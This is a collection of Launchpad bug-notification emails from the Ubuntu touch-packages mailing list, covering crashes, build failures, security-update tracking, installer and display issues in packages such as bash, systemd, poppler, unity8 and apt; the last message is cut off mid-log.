** Changed in: ubuntu-ui-toolkit (Ubuntu) Importance: Medium => Low -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1566778 Title: Documentation on anchoring and PageHeader is confusing Status in ubuntu-ui-toolkit package in Ubuntu: Confirmed Bug description: It is not very clear how one is best to have, for example, a Page with a PageHeader and a ListView, and have the ListView take up the whole page. Page { header:PageHeader {} ListView {} } This has changed quite a lot in different versions of the UITK -- should the ListView be set to anchors.fill: parent? Or anchors.top: page.top? Or anchors.top: pageheader.bottom? Should Page.flickable be set to the ListView, or will that be set automatically, or is it deprecated in favour of PageHeader.flickable, and does that have to be set explicitly or will it be set automatically? Should one set the ListView to anchors.fill:parent with a topMargin of pageheader.height as the UITK gallery does? It would be very useful to have a series of examples with diagrams showing how to achieve various standard effects, for example: 1. a page with a header and a listview, where the listview takes up the whole page and the header scrolls away as the listview is scrolled 2. a page with a header and a listview, where the listview takes up the whole page and the header does not scroll away but stays fixed 3. a page with a header and a button which stays fixed under the header, and a listview which takes up the rest of the page and scrolls etc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1566778/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1558018] Re: Scrolling of icons in Toolbar
** Changed in: ubuntu-ui-toolkit (Ubuntu) Importance: High => Medium -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1558018 Title: Scrolling of icons in Toolbar Status in Ubuntu UX: In Progress Status in ubuntu-ui-toolkit package in Ubuntu: In Progress Bug description: Currently, when the icons do not all fit in the toolbar, an overflow button is shown that shows an overflow popover/panel when clicked. This needs to be replaced by icon scrolling instead. See https://docs.google.com/document/d/1F-zD6CF8YFfA- nAtpdRniCqwUNJhSDJVFrRO76A1M-Q/edit UX solution: https://docs.google.com/document/edit?hgd=1&id=1F-zD6CF8YFfA-nAtpdRniCqwUNJhSDJVFrRO76A1M-Q#heading=h.w16v0yn510iy is this not what you need? https://docs.google.com/document/edit?hgd=1&id=1F-zD6CF8YFfA- nAtpdRniCqwUNJhSDJVFrRO76A1M-Q#heading=h.duaef4xy7sqv To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-ux/+bug/1558018/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1635812] Re: atril-thumbnailer crashed with SIGSEGV in cmsGetColorSpace()
Thanks. Can anyone add entries for Xenial and Yakkety please? I'll try to find some time to add description for SRU later... -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to poppler in Ubuntu. https://bugs.launchpad.net/bugs/1635812 Title: atril-thumbnailer crashed with SIGSEGV in cmsGetColorSpace() Status in Poppler: Unknown Status in poppler package in Ubuntu: Fix Released Bug description: atril-thumbnailer crashed with SIGSEGV in cmsGetColorSpace() ProblemType: Crash DistroRelease: Ubuntu 16.04 Package: atril 1.12.2-1 ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21 Uname: Linux 4.4.0-45-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CrashCounter: 1 CurrentDesktop: MATE Date: Sat Oct 22 09:43:08 2016 ExecutablePath: /usr/bin/atril-thumbnailer InstallationDate: Installed on 2016-05-14 (160 days ago) InstallationMedia: Ubuntu-MATE 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) ProcCmdline: atril-thumbnailer -s 128 file:///home/username/Documents/jedi_complaint.pdf /tmp/.mate_desktop_thumbnail.8JDPPY SegvAnalysis: Segfault happened at: 0x7fdcb0258990 : mov 0x50(%rdi),%eax PC (0x7fdcb0258990) ok source "0x50(%rdi)" (0x0050) not located in a known VMA region (needed readable region)! destination "%eax" ok SegvReason: reading NULL VMA Signal: 11 SourcePackage: atril StacktraceTop: cmsGetColorSpace () from /usr/lib/x86_64-linux-gnu/liblcms2.so.2 GfxICCBasedColorSpace::parse(Array*, OutputDev*, GfxState*, int) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58 GfxColorSpace::parse(GfxResources*, Object*, OutputDev*, GfxState*, int) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58 Page::loadThumb(unsigned char**, int*, int*, int*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58 poppler_page_get_thumbnail () from /usr/lib/x86_64-linux-gnu/libpoppler-glib.so.8 Title: atril-thumbnailer crashed with SIGSEGV in cmsGetColorSpace() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo wireshark To manage notifications about this bug go to: https://bugs.launchpad.net/poppler/+bug/1635812/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644048] Re: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error
On the suggested fix: Why even keep the printf? Why not switch to just print? I'm not a C expert by any means, but shouldn't printf("%s", ) be completely equivalent to print() With the exception that the second one should be very slightly less overhead? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bash in Ubuntu. https://bugs.launchpad.net/bugs/1644048 Title: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error Status in bash package in Ubuntu: New Status in bash source package in Trusty: New Bug description: This weirdly only fails on arm64. ../.././builtins/../.././builtins/help.def:130:7: error: format not a string literal and no format arguments [-Werror=format-security] The attached debdiff will be uploaded to trusty-proposed soon. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1644048/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1643901] Re: flxdec security update tracking bug
** Changed in: gst-plugins-good0.10 (Ubuntu Precise) Status: In Progress => Fix Released ** Changed in: gst-plugins-good0.10 (Ubuntu Trusty) Status: In Progress => Fix Released ** Changed in: gst-plugins-good0.10 (Ubuntu Xenial) Status: In Progress => Fix Released ** Changed in: gst-plugins-good1.0 (Ubuntu Trusty) Status: In Progress => Fix Released ** Changed in: gst-plugins-good1.0 (Ubuntu Xenial) Status: In Progress => Fix Released ** Changed in: gst-plugins-good1.0 (Ubuntu Yakkety) Status: In Progress => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-good0.10 in Ubuntu. https://bugs.launchpad.net/bugs/1643901 Title: flxdec security update tracking bug Status in gst-plugins-good0.10 package in Ubuntu: Invalid Status in gst-plugins-good1.0 package in Ubuntu: Confirmed Status in gst-plugins-good0.10 source package in Precise: Fix Released Status in gst-plugins-good1.0 source package in Precise: Invalid Status in gst-plugins-good0.10 source package in Trusty: Fix Released Status in gst-plugins-good1.0 source package in Trusty: Fix Released Status in gst-plugins-good0.10 source package in Xenial: Fix Released Status in gst-plugins-good1.0 source package in Xenial: Fix Released Status in gst-plugins-good0.10 source package in Yakkety: Invalid Status in gst-plugins-good1.0 source package in Yakkety: Fix Released Status in gst-plugins-good0.10 source package in Zesty: Invalid Status in gst-plugins-good1.0 source package in Zesty: Confirmed Bug description: This bug is to track the security update to fix the flxdec out-of- bounds write. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-plugins-good0.10/+bug/1643901/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1595947] Re: brightness not changing from either u-s-s or hardkey on unity8-desktop
** Merge proposal linked: https://code.launchpad.net/~afrantzis/repowerd/+git/repowerd/+merge/311015 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity-system-compositor in Ubuntu. https://bugs.launchpad.net/bugs/1595947 Title: brightness not changing from either u-s-s or hardkey on unity8-desktop Status in Canonical System Image: Confirmed Status in Mir: Invalid Status in unity8-desktop-session: Confirmed Status in mir package in Ubuntu: Invalid Status in repowerd package in Ubuntu: In Progress Status in unity-system-compositor package in Ubuntu: Confirmed Status in unity8 package in Ubuntu: In Progress Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: Running unity8-desktop session on my macbookpro which has a hard display brightness key, currently it makes no effect. Also, opened ubuntu-sytstem-settings and changing the brightness slider also makes no effect. sorry for spamming projects, not sure which to log against. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1595947/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644048] Re: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: bash (Ubuntu Trusty) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bash in Ubuntu. https://bugs.launchpad.net/bugs/1644048 Title: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error Status in bash package in Ubuntu: Confirmed Status in bash source package in Trusty: Confirmed Bug description: This weirdly only fails on arm64. ../.././builtins/../.././builtins/help.def:130:7: error: format not a string literal and no format arguments [-Werror=format-security] The attached debdiff will be uploaded to trusty-proposed soon. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1644048/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644048] Re: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: bash (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bash in Ubuntu. https://bugs.launchpad.net/bugs/1644048 Title: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error Status in bash package in Ubuntu: Confirmed Status in bash source package in Trusty: Confirmed Bug description: This weirdly only fails on arm64. ../.././builtins/../.././builtins/help.def:130:7: error: format not a string literal and no format arguments [-Werror=format-security] The attached debdiff will be uploaded to trusty-proposed soon. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1644048/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642903] Re: introduce disk/by-id (model_serial) symlinks for NVMe drives
This is likely the root cause for https://bugs.launchpad.net/bugs/1642710 (no automatic installation possible on NVMe-only systems), which is not just wishlist, I think. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1642903 Title: introduce disk/by-id (model_serial) symlinks for NVMe drives Status in systemd package in Ubuntu: Fix Released Status in systemd source package in Trusty: In Progress Status in systemd source package in Xenial: In Progress Status in systemd source package in Yakkety: In Progress Status in systemd source package in Zesty: Fix Released Bug description: [Impact] NVMe drives can't be identified/accessed via /dev/disk/by-id/nvme- SERIAL symlinks. [Test Case] On a system with an NVMe drive, check the /dev/disk/by-id/ directory; with the patch, it will contain link(s) named by the drive serial number. This should be the *only* change in `ls -l /dev/disk/*/*`. On a system without NVMe, verify that `ls -l /dev/disk/*/*` is identical (aside from dates, of course) before and after the upgrade to the -proposed version. [Regression Potential] Errors in udev rules can lead to an unbootable or otherwise completely broken system if they unintentionally break or clobber existing /dev/disks/ symlinks. [Other Info] This patch is already included upstream and in zesty systemd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1642903/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1629972] Re: networking stop incorrectly disconnects from (network) root filesystem
** Changed in: maas Milestone: 2.1.2 => 2.1.3 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ifupdown in Ubuntu. https://bugs.launchpad.net/bugs/1629972 Title: networking stop incorrectly disconnects from (network) root filesystem Status in MAAS: Triaged Status in ifupdown package in Ubuntu: Fix Released Status in ifupdown source package in Xenial: Confirmed Status in ifupdown source package in Yakkety: Fix Committed Status in ifupdown package in Debian: New Bug description: With the switch to systemd, all support for iscsi root (and other) filesystems disappeared, since shutdown yanks the rug out from under us. Rather than just relying on /etc/iscsi/iscsi.initramfs (which d-i creates..), the DEV check should be expanded to include iscsi devices, and networking.service ExecStop should honor those checks. Related bugs: * bug 1229458: grub2 needed changes * bug 1621615: network not configured when ipv6 netbooted into cloud-init * bug 1621507: ipv6 network boot does not work [Impact] With the changes from the above, the iscsi root (at least in the ipv6 case) gets disconneceted prior to clean shutdown (ifdown downs the interface), resulting in a failure to enlist, commission, or deploy cleanly under MAAS. (and a failure to cleanly unmount the root filesystem when it is over iscsi.) [Test Case] Given a MAAS 2.0 installation, and the packages in the other bugs, attempt to enlist, commission, or deploy a host with xenial. [Regression potential] This restores the pre-xenial behavior of not shutting down the interface if there are network drives at the time that neworking is stopped (making it a no-op.) The additional change is to detect "/dev/disk/by-path/*-iscsi-*" as a network disk, replacing the check for the existence of /etc/iscsi/iscsi.initramfs, which was only created by debian-installer (and maas until recently). To manage notifications about this bug go to: https://bugs.launchpad.net/maas/+bug/1629972/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644240] [NEW] lightdm greeter not shown properly on zesty
Public bug reported: I have a laptop with a 3200x1800 screen, and zesty shows the lightdm greeter incorrectly. Most of the time it's only a square box on top-left corner and the rest is blank. Sometimes it shows the full screen but it's only the top-left quarter of a full desktop as it thinks the monitor is bigger. On yakkety I had this: [+2,58s] DEBUG: main-window.vala:187: Screen is 3200x1800 pixels [+2,58s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 [+2,58s] DEBUG: unity-greeter.vala:608: Showing greeter [+2,58s] DEBUG: unity-greeter.vala:244: Showing main window [+2,89s] DEBUG: Read 8 bytes from daemon [+2,89s] DEBUG: Read 38 bytes from daemon [+2,89s] DEBUG: Prompt user with 1 message(s) [+2,90s] DEBUG: _fcitx_connection_create_ic [+2,90s] DEBUG: _fcitx_connection_watch [+2,91s] DEBUG: background.vala:68: Making background /usr/share/backgrounds/gnome/Waterfalls.jpg at 3200x1800 [+2,92s] DEBUG: main-window.vala:187: Screen is 1600x900 pixels [+2,92s] DEBUG: main-window.vala:195: Monitor 0 is 1600x900 pixels at 0,0 but in zesty this: [+2,95s] DEBUG: main-window.vala:187: Screen is 3200x1800 pixels [+2,95s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 [+2,95s] DEBUG: unity-greeter.vala:608: Showing greeter [+2,95s] DEBUG: unity-greeter.vala:244: Showing main window [+3,23s] DEBUG: Read 8 bytes from daemon [+3,23s] DEBUG: Read 38 bytes from daemon [+3,23s] DEBUG: Prompt user with 1 message(s) [+3,24s] DEBUG: _fcitx_connection_create_ic [+3,24s] DEBUG: _fcitx_connection_watch [+3,25s] DEBUG: background.vala:68: Making background /usr/share/backgrounds/gnome/Waterfalls.jpg at 3200x1800 [+3,25s] DEBUG: main-window.vala:187: Screen is 1600x900 pixels [+3,25s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 anyway, downgrading gtk fixes the bug for me. ** Affects: gtk+3.0 (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1644240 Title: lightdm greeter not shown properly on zesty Status in gtk+3.0 package in Ubuntu: New Bug description: I have a laptop with a 3200x1800 screen, and zesty shows the lightdm greeter incorrectly. Most of the time it's only a square box on top- left corner and the rest is blank. Sometimes it shows the full screen but it's only the top-left quarter of a full desktop as it thinks the monitor is bigger. On yakkety I had this: [+2,58s] DEBUG: main-window.vala:187: Screen is 3200x1800 pixels [+2,58s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 [+2,58s] DEBUG: unity-greeter.vala:608: Showing greeter [+2,58s] DEBUG: unity-greeter.vala:244: Showing main window [+2,89s] DEBUG: Read 8 bytes from daemon [+2,89s] DEBUG: Read 38 bytes from daemon [+2,89s] DEBUG: Prompt user with 1 message(s) [+2,90s] DEBUG: _fcitx_connection_create_ic [+2,90s] DEBUG: _fcitx_connection_watch [+2,91s] DEBUG: background.vala:68: Making background /usr/share/backgrounds/gnome/Waterfalls.jpg at 3200x1800 [+2,92s] DEBUG: main-window.vala:187: Screen is 1600x900 pixels [+2,92s] DEBUG: main-window.vala:195: Monitor 0 is 1600x900 pixels at 0,0 but in zesty this: [+2,95s] DEBUG: main-window.vala:187: Screen is 3200x1800 pixels [+2,95s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 [+2,95s] DEBUG: unity-greeter.vala:608: Showing greeter [+2,95s] DEBUG: unity-greeter.vala:244: Showing main window [+3,23s] DEBUG: Read 8 bytes from daemon [+3,23s] DEBUG: Read 38 bytes from daemon [+3,23s] DEBUG: Prompt user with 1 message(s) [+3,24s] DEBUG: _fcitx_connection_create_ic [+3,24s] DEBUG: _fcitx_connection_watch [+3,25s] DEBUG: background.vala:68: Making background /usr/share/backgrounds/gnome/Waterfalls.jpg at 3200x1800 [+3,25s] DEBUG: main-window.vala:187: Screen is 1600x900 pixels [+3,25s] DEBUG: main-window.vala:195: Monitor 0 is 3200x1800 pixels at 0,0 anyway, downgrading gtk fixes the bug for me. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1644240/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644239] [NEW] feature: copy address of a download
Public bug reported: When I start a download would be nice to copy the download link. This feature is missing for now ** Affects: webbrowser-app (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to webbrowser-app in Ubuntu. https://bugs.launchpad.net/bugs/1644239 Title: feature: copy address of a download Status in webbrowser-app package in Ubuntu: New Bug description: When I start a download would be nice to copy the download link. This feature is missing for now To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/webbrowser-app/+bug/1644239/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] [NEW] unity8 fails to start as guest user
Public bug reported: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. ** Affects: unity8 (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in unity8 package in Ubuntu: New Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Nested Mir Platform Connection Error: Failed to connect to server socket: Permission denied [2016-11-23:15:59:35.820] ERROR: QMirServer - Mir failed to start initctl: No such variable: UNITY_MIR_SOCKET running current zesty, but I had the same problem on yakkety too. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1644237/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1643708] Re: Add SPNEGO special case for NTLMSSP+MechListMIC
This bug is blocked in the SRU process because it has no SRU information. Please see https://wiki.ubuntu.com/StableReleaseUpdates#Procedure -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to krb5 in Ubuntu. https://bugs.launchpad.net/bugs/1643708 Title: Add SPNEGO special case for NTLMSSP+MechListMIC Status in krb5 package in Ubuntu: Fix Released Status in krb5 source package in Trusty: Incomplete Status in krb5 source package in Xenial: Incomplete Status in krb5 source package in Yakkety: Incomplete Bug description: MS-SPNG section 3.3.5.1 documents an odd behavior the SPNEGO layer needs to implement specifically for the NTLMSSP mechanism. This is required for compatibility with Windows services. Upstream commit: https://github.com/krb5/krb5/commit/cb96ca52a3354e5a0ea52e12495ff375de54f9b7 We've run into this issue with Linux to Windows negotiation with encrypted http using GSSAPI. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/krb5/+bug/1643708/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644048] Re: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error
No, there is no such print() equivalent. You have puts() which just takes a string, but that appends a newline. Or fwrite(), but that requires size and count, which is boring. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to bash in Ubuntu. https://bugs.launchpad.net/bugs/1644048 Title: 4.3-7ubuntu1.6 FTBFS on arm64 only with format-security error Status in bash package in Ubuntu: Confirmed Status in bash source package in Trusty: Confirmed Bug description: This weirdly only fails on arm64. ../.././builtins/../.././builtins/help.def:130:7: error: format not a string literal and no format arguments [-Werror=format-security] The attached debdiff will be uploaded to trusty-proposed soon. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bash/+bug/1644048/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1522675] Re: Can't drop privileges for downloading : _apt user not allowed
** Bug watch added: Debian Bug tracker #813786 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=813786 ** Also affects: apt (Debian) via http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=813786 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1522675 Title: Can't drop privileges for downloading : _apt user not allowed Status in apt package in Ubuntu: Confirmed Status in dpkg package in Ubuntu: Confirmed Status in apt package in Debian: Unknown Status in synaptic package in Debian: New Bug description: Recently we got new versions for synaptic 0.82+build1 & apt 1.1.3, but now get that error when installing/upgrading some packages: Setting up libc6-dbg:amd64 (2.21-0ubuntu5) ... Processing triggers for libc-bin (2.21-0ubuntu5) ... W: Can't drop privileges for downloading as file '/root/.synaptic/tmp//tmp_cl' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied) From nautilus, i'm seeing a /root/ folder locked (x on its icon) and the folder is empty (no /.synaptic/ sub-folder or file), so the above error. oem@u64:~$ ls -l .synaptic total 4 -rw-rw-r-- 1 oem oem 0 Aug 25 11:19 options -rw-rw-r-- 1 oem oem 236 Aug 25 11:19 synaptic.conf oem@u64:~$ ls -l /var/lib/apt/lists/ -rw-r- 1 root root0 Sep 20 06:36 lock drwx-- 2 _apt root16384 Sep 24 15:25 partial .. oem@u64:~$ sudo ls -l /var/lib/update-notifier/package-data-downloads/ . drwxr-xr-x 2 _apt root 4096 Sep 22 23:33 partial ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: synaptic 0.82+build1 ProcVersionSignature: Ubuntu 4.3.0-1.10-generic 4.3.0 Uname: Linux 4.3.0-1-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.19.2-0ubuntu8 Architecture: amd64 CurrentDesktop: GNOME Date: Fri Dec 4 05:23:25 2015 SourcePackage: synaptic UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1522675/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1584685] Re: Xenial fails to install with Preseed d-i apt-setup/local0/repository set
** Changed in: debian-installer (Ubuntu) Status: Invalid => Confirmed ** Changed in: console-setup (Ubuntu) Status: Incomplete => Confirmed ** Changed in: hundredpapercuts Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to console-setup in Ubuntu. https://bugs.launchpad.net/bugs/1584685 Title: Xenial fails to install with Preseed d-i apt-setup/local0/repository set Status in console-setup: New Status in One Hundred Papercuts: Confirmed Status in console-setup package in Ubuntu: Confirmed Status in debian-installer package in Ubuntu: Confirmed Bug description: Preseed install of Ubuntu Xenial fails with d-i apt- setup/localX/repository option set. The problem is that debian installer does not concat the last string in sources.list correctly. The prefix "deb" is missing. So apt fails to update and the installer cannot continue because there are no valid package sources. To manage notifications about this bug go to: https://bugs.launchpad.net/console-setup/+bug/1584685/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644244] [NEW] error
Public bug reported: N: Ignoring file '20auto-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension N: Ignoring file 'getdeb.list.bck' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extension E: The package secondlife needs to be reinstalled, but I can't find an archive for it. multiverse restricted main' #Added by software-properties kimbro-vargas@kimbro-vargas-HP-Pavilion-dv5-Notebook-PC:~$ sudo dpkg --audit The following packages are in a mess due to serious problems during installation. They must be reinstalled for them (and any packages that depend on them) to function properly: secondlife SecondLife client how do I fix it ** Affects: apt (Ubuntu) Importance: Undecided Assignee: KimbroVargas (wolfieredmoon) Status: In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1644244 Title: error Status in apt package in Ubuntu: In Progress Bug description: N: Ignoring file '20auto-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension N: Ignoring file 'getdeb.list.bck' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extension E: The package secondlife needs to be reinstalled, but I can't find an archive for it. multiverse restricted main' #Added by software-properties kimbro-vargas@kimbro-vargas-HP-Pavilion-dv5-Notebook-PC:~$ sudo dpkg --audit The following packages are in a mess due to serious problems during installation. They must be reinstalled for them (and any packages that depend on them) to function properly: secondlife SecondLife client how do I fix it To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1644244/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644237] Re: unity8 fails to start as guest user
** Also affects: unity8-desktop-session (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1644237 Title: unity8 fails to start as guest user Status in unity8 package in Ubuntu: New Status in unity8-desktop-session package in Ubuntu: New Bug description: This is shown in unity8.log: [2016-11-23 15:59:25.820868] mirserver: Starting ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/default_configuration.cpp(132): Throw in function mir::DefaultServerConfiguration::the_graphics_platform():: Dynamic exception type: boost::exception_detail::clone_impl > std::exception::what: Exception while creating graphics platform ERROR: /build/mir-JY573_/mir-0.24.1+16.10.20160928/src/server/graphics/nested/mir_client_host_connection.cpp(245): Throw in function mir::graphics::nested::MirClientHostConnection::MirClientHostConnection(const string&, const string&, const std::shared_ptr&) Dynamic exception type: boost::exception_detail::clone_impl > 